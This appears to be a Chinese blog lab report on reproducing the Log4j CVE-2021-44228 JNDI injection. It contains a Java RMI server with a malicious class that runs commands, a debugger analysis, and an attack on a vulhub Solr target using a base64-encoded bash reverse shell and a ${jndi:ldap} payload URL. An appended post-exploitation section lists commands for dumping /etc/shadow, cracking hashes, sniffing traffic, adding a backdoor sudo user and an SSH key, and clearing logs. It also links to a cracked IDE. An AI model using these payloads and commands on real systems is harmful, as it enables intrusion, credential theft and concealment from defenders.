CVE-2021-44228 Apache Log4j 远程代码执行漏洞 复现与分析

       概述:本实验将对CVE-2021-44228 Apache Log4j远程代码执行漏洞进行探究。本报告将详细记录实验内容。报告首先对漏洞情况作简要介绍,之后说明漏洞原理并结合靶场进行复现,最后记录实验思考与感悟。希望通过本实验可以对Apache Log4j做一定了解,理解该漏洞原理并掌握其利用方法。

1. 漏洞介绍

2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过。2021年12月15日,Apache官方发布Log4j 2.16.0 以及 2.12.2 版本,修复CVE-2021-45046 Apache Log4j 拒绝服务与远程代码

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,2021年12月15日,Apache官方发布Log4j 2.16.0 以及 2.12.2 版本,修复CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

2. 本地漏洞复现

2.1 JDK安装

由于复现的要求,JDK版本不能太高,我这里选择的是jdk-8u112-windows,网上有很多参考教程可以帮助完成环境配置

2.2 IDE准备

涉及到java编程,使用Intellij IDEA进行编程,考虑到漏洞爆出的时间,不能使用最新的2022版本,因此下载2021版本进行使用,可参考教程如下:

下载 安装 IDEA 2021 破解版 ,含idea安装包和破解补丁 - codeing123 - 博客园

2.3 服务端搭建

2.3.1 创建项目

新建项目

选择java项目

起好名字之后完成

2.3.2 main

新建java文件

写入服务器代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;

public class log4j_server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(12345);
        Reference reference = new Reference("swswssw", "swswssw",
                                            "http://127.0.0.1:8080/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("remote", wrapper);
    }
}

解:

registry这是一个注册表 它的端口是12345,就是说这个服务可以通过12345这样的一个端口来请求。

注册表中的信息我们在这里就指定一个reference这个对象,给它赋予的类的地址是swswssw,我们可以通过这个地址来请求这个类,我们把刚刚得到的对象进行封装,封装之后我们起个名字remote,通过这种方式,我们可以以remote这个名字找到刚刚封装好的对象wrapper,

我们在这里指定了这样一个类,以及实现类。

2.3.3 恶意类挂载

上面的代码中我们指定了外部引用对象swswssw,但是其并没有实现。为了展现漏洞利用效果,我们将swswssw实现如下:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class swswssw implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println(“小心你的计算器!");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}

我们的恶意挂载类

需要我们注意的是,这个javac文件需要我们去编译,编译之后,就可以得到一个class文件

其作用也十分明显,可以执行命令运行计算器程序

找到该文件所在目录,将该类编译成class文件挂载到web页面上

回到IDEA可以看到生成的class文件

2.4 客户端攻击

2.4.1 log4j xml配置

新建项目,选择Maven类型

在pom.xml文件中添加以下代码:

<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.9.0</version>
  </dependency>
</dependencies>

其中注意version一定是2.14.0之前的,之后的版本log4j的这个漏洞被补上了

2.4.2 JNDI注入攻击

新建java类

写客户端主函数

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class log4j_client {
    public static void main(String[] args) throws NamingException {
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        InitialContext initialContext=new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:12345/remote");
    }
}

接下来进入我们的客户端,客户端在新建项目的时候,我们新建一个maven项目,建好之后我们进行log4j配置,我们要保证版本在2.14.0以下,因为之后的版本都修复过了,在这里大家可以自己在maven官网上查看对应的依赖,我使用的是2.9.0版本,找到之后我们粘贴在pom.xml文件里面,注意要加上dependcies,下面我们看一下客户端的代码,首先就是初始化环境,然后我们通过lookup方式来请求这个我们刚刚得到的对象,

首先我们使用Python启动一个web服务,启动成功后我们启动服务端程序,之后我们再启动客户端程序,可以看到我们把服务端的这样一个类执行之后,在客户端的机器上实现了一个执行,这很可怕,如果我们的恶意挂载类里面写的是访问服务器的root权限,后果不堪设想,

现在我们来进行源码分析看看,我们进入debug模式,f7进入lookup函数我们看看她是怎么工作的,f7注入

进入之后我们看到又有一个lookup函数,我们继续注入,进入到genericURLcontext这个文件里面91行,我们可以发现它的参数是我们之前设定的,通过getrootURLcontext这个函数将值赋值给var2,我们现在看看var2里面有什么,var2基本上是把我们刚刚的信息给拆解了 我们通过12345端口与注册中心联系,host是127.0.0.1,随后我们继续跟进registrycontext,93行我们发现这里比较关键的是最后面的stub这样的一个注册信息,这其实就是注册中心的一个存根,我们将这样一个信息赋值给var2,,下面接着100行我们看到一个decodeobject函数,我们在下面找到这个函数343行,,这里其实就是远程对象的一个调用,下面这是一个返回值。

返回值最后会在此处加载,调用Class.forName并制定了类加载来加载类,这样可以加载到swswssw。Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是静态代码块。因此这时候静态代码块的代码可以执行。

这样函数返回值赋予clas,其为swswssw;返回函数调用它的newInstance(),从而调用了无参构造器,执行了无参构造器里面的代码,这也是为什么我们把恶意代码写到无参构造器里面的原因。这样,如果得到了对象且成功转换成了ObjectFactory,就会调用getObjectInstance方法,这也是为什么可以把代码写到getObjectInstance方法的原因。

之前我们把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。

2.4.3 实施攻击

使用python在服务器开启web服务

python -m http.server 8080

运行服务端程序

服务端运行成功:

运行客户端程序

漏洞复现成功

同时命令行可以看到请求成功的信息

3. 漏洞原理分析

3.1 前置知识

3.1.1 RMI

RMI ( Remote Method Invocation , 远程方法调用 ) 能够让在某个 Java虚拟机 上的对象像调用本地对象一样调用另一个 Java虚拟机 中的对象上的方法 , 这两个 Java虚拟机 可以是运行在同一台计算机上的不同进程, 也可以是运行在网络中不同的计算机上 .

另外,需要知道注册表的概念,说简单一点就是,服务端那里有一个对象,客户端想要调用服务端里的那个对象的方法,而注册表就像一个中间人,服务端会将自己提供的服务的实现类交给这个中间人 , 并公开一个名称 . 任何客户端都可以通过公开的名称找到这个实现类 , 并调用它。

3.1.2 JNDI

JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。

既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。

而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。

而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。

而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

3.1.3 命令执行(RCE)与反序列化

RCE 漏洞将允许恶意行为人在远程计算机上执行自己选择的任何代码。

动态代码执行往往是导致 RCE 的最常见攻击载体。大多数编程语言都有某种方式使用代码生成代码并当场执行代码。恶意第三方可以轻松地滥用它来获取 RCE 功能。

Java序列化是指把Java对象转换为字节序列的过程便于保存在内存、文件、数据库中,Java反序列化是指把字节序列恢复为Java对象的过程。Java反序列化是间接动态代码执行的很好的例子。

3.2 动态调试分析

从客户端的lookup函数出发

F7进入寻找其定义

再按F7找到函数定义

这里的var2基本就是得到主机,端口,还有绑定的对象的名字

跟进var3.lookup,可以看到lookup找到了注册中心的stub数据

跟进decodeObject函数,发现了加载了远程Reference绑定的恶意对象。我们的远程对象是ReferenceWrapper类的对象,也就是我们在Server构造的对象Reference reference = new Reference("swswssw", "swswssw", "http://127.0.0.1:8080/");

跟进返回的getObjectInstance函数

持续步过,发现注册中心找到了恶意类swswssw,并赋值给ref

ref不为空,进入关键函数getObjectFactoryFromReference

先直接加载类clas = helper.loadClass(factoryName);,这里是正常的本地类加载,因为找不到swswssw类所以会加载失败

上面分析没有问题,找不到swswssw所以clas为空

我们注意到codebase,其值就是远程URL

跟进此时的类加载器,因为指定了codebase,这次用的类加载器将是URLClassLoader

返回值最后会在此处加载,调用Class.forName并制定了类加载来加载类,这样可以加载到swswssw。Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是静态代码块。因此这时候静态代码块的代码可以执行。

这样函数返回值赋予class,其为swswssw;返回函数调用它的newInstance(),从而调用了无参构造器,执行了无参构造器里面的代码,这也是为什么我们把恶意代码写到无参构造器里面的原因。

这样,如果得到了对象且成功转换成了ObjectFactory,就会调用getObjectInstance方法,这也是为什么可以把代码写到getObjectInstance方法的原因。

此时开始执行恶意类中的恶意代码,首先打印

然后执行命令

3.3 漏洞核心原理解读

在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。

调用者,我们称之为客户端,被调用者,我们则称之为服务端。

RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需LocateRegistry.createRegistry(12345);一行代码即可完成。

在服务器启动的时候,就启动了一个RMI的注册中心,接着把main主类暴露并注册到RMI注册中心,其中存储着主类的stub数据,包含有其所在服务器的ip和port。在客户端启动之后,通过连接RMI注册中心,并从其中根据名称查询到了对应的对象(JNDI),并把其数据下载到本地,然后RMI会根据stub存储的信息,也就是服务端中main实现暴露的ip和port,最后发起RMI请求,RMI后,服务端把序列化数据返回给客户端,客户端对其反序列化后输出。

根据上述所说的流程,我们可以发现,如果要发起一个反序列化攻击,那么早在客户端 lookup的时候,就会从Registry注册中心下载数据,前面也说了“服务名称和对象或命名引用相关联”,我们就可以通过服务器 bind注册一个命名引用到Registry注册中心,也就是Reference,它具有三个参数,className、factory、classFactoryLocation,当客户端 lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,从而在客户端lookup的时候实现加载远程恶意class实现RCE。

4. 靶场漏洞实战

4.1 docker环境配置

之后的搭建过程中会出现缺少docker的问题,因此先搭建docker系统服务

根据提示仅需要一条命令即可

sudo apt install docker.io
apt  install docker-compose

4.2 靶场环境配置

下载vulhub

# Download project
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

进入需要开启的漏洞路径

# 进入需要开启的漏洞路径
cd vulhub-master/log4j/CVE-2021-44228

自动完成包括构建镜像,(重新)创建服务,启动服务,并关联服务相关容器

docker-compose up -d

我们查看一下他的端口号

访问 http://127.0.0.1:8983/solr/#/

靶场搭建成功

4.3 工具下载

用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:

Releases · welk1n/JNDI-Injection-Exploit · GitHub

放到我们的主目录下

4.4 漏洞利用过程

首先我们构造反弹shell用到的命令:

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

这里我直接用的当前虚拟机的ip,端口号随便输一个6666,反弹shell需要经过编码,这里我给大家提供一个直接编写payload的工具

Runtime.exec Payload Generater | AresX's Blog

加密完毕后把结果复制下来,构造payload,输入如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjEzMy84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.16.133" 

这里参考的是工具使用教程

运行后显示

可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url,然后我们就可以回到刚才的网站去进行JNDI注入。 首先肯定要有一个注入点,我们可以发现/solr/admin/cores?这里有个参数可以传。

在注入之前另起一个终端,监控刚刚的那个端口,这里是8888:

nc -lvnp 6666

然后就回到刚才的页面,构造url:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://192.168.16.133:1389/6wr7yd}

工具注入处终端可以看到,网页被重定向到了我们的恶意类地址:

回到端口监测处,看到反弹的shell

查看权限,拿到root权限

1. 获取系统用户名

当前用户

使用以下命令查看当前运行进程的用户名:

bash


whoami
所有用户

攻击者可能尝试读取系统的用户列表:

bash


cat /etc/passwd
  • /etc/passwd 文件包含系统中所有用户的信息,但不包含密码。
  • 示例输出:
ruby


root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:User:/home/user:/bin/bash
    • 第一列是用户名。
    • 第二列的 x 表示密码存储在 /etc/shadow 文件中。

2. 获取密码或密码哈希

a. 检查 /etc/shadow 文件

如果攻击者有高权限(如 root),可以尝试读取 /etc/shadow 文件,该文件包含加密后的密码:

bash


cat /etc/shadow
  • 示例内容:
swift


root:$6$abcdef$encryptedpassword:19000:0:99999:7:::
user:$6$123456$encryptedpassword:19000:0:99999:7:::
    • $6$ 表示使用了 SHA-512 哈希算法。
    • encryptedpassword 是加密后的密码哈希。
  • 攻击者可以将密码哈希导出并使用工具(如 John the RipperHashcat)进行破解。
b. 使用工具提取密码
  • 暴力破解或凭证转储工具
    • 工具如 hashcatJohn the Ripper 用于破解密码哈希。
    • 例如:
bash


john --wordlist=/path/to/wordlist /path/to/shadow-hashes

3. 搜索系统中的明文密码

攻击者可能在文件系统中搜索敏感信息(如密码、密钥等):

搜索关键字
bash


grep -r "password" /home 2>/dev/null
搜索敏感文件

攻击者可能寻找配置文件或备份文件中硬编码的密码:

bash


find / -name "*.conf" 2>/dev/null
find / -name "*.log" 2>/dev/null
find / -name "*.bak" 2>/dev/null
检查环境变量

有时,环境变量中可能包含敏感信息:

bash


env | grep -i password

4. 网络流量窃听

攻击者可能尝试监听网络流量,捕获未加密的登录信息或敏感数据:

  • 安装并运行 tcpdump
bash


tcpdump -i eth0 -w capture.pcap
  • 分析流量文件: 将 capture.pcap 文件下载到攻击者的系统,用工具(如 Wireshark)进行分析。

5. 部署持久化后门

攻击者可能部署后门以维持访问权限:

添加新用户

创建一个新用户并赋予管理员权限:

bash

sudo useradd attacker
sudo passwd attacker
sudo usermod -aG sudo attacker
修改 SSH 配置

攻击者可以添加自己的公钥到 SSH 配置中:

bash


mkdir -p ~/.ssh
echo "攻击者的公钥" >> ~/.ssh/authorized_keys

6. 清理操作痕迹

攻击者可能会清理日志以隐藏自己的活动:

bash


echo "" > /var/log/auth.log
history -c
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值